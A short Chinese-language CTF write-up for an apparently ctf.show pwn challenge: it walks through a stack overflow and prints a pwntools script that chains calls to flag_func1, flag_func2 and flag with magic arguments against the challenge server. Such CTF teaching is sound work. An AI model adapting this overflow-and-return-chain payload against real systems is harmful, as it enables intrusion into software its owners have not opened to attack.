我发现网上没有这一道题目的writeup,于是就写一下,给不太会的朋友一些帮助,这一题可以先分析一下流程
这里存在一个栈溢出漏洞。
fopen返回一个文件指针,然后读取48个长度到s里面,然后一个if判断flag1和flag2要为真,a1要等于0xBDBDBDBD就打印flag值。
我们可以看一下flag_func1()函数和flag_func2()函数,
flag1在flag_func1函数值为1,为真,而flag_func2函数需要a1=0xACACACAC,flag2就为真。
我们再看一下flag函数,
flag函数需要a1=0XBDBDBDBD,好了分析完了
所以EXP如下:
from pwn import *
context.log_level='debug'
#io=process('./pwn55')
io=remote('pwn.challenge.ctf.show', 28296)
io.recvuntil('Input your flag: ')
ebp=0x0804859b
i=0xBDBDBDBD
payload='a'*(0x2c+4)+p32(0x8048586)+p32(0x804859D)+p32(ebp)+p32(0xACACACAC)+p32(0x8048606)+p32(ebp)+p32(i)
io.sendline(payload)
io.interactive()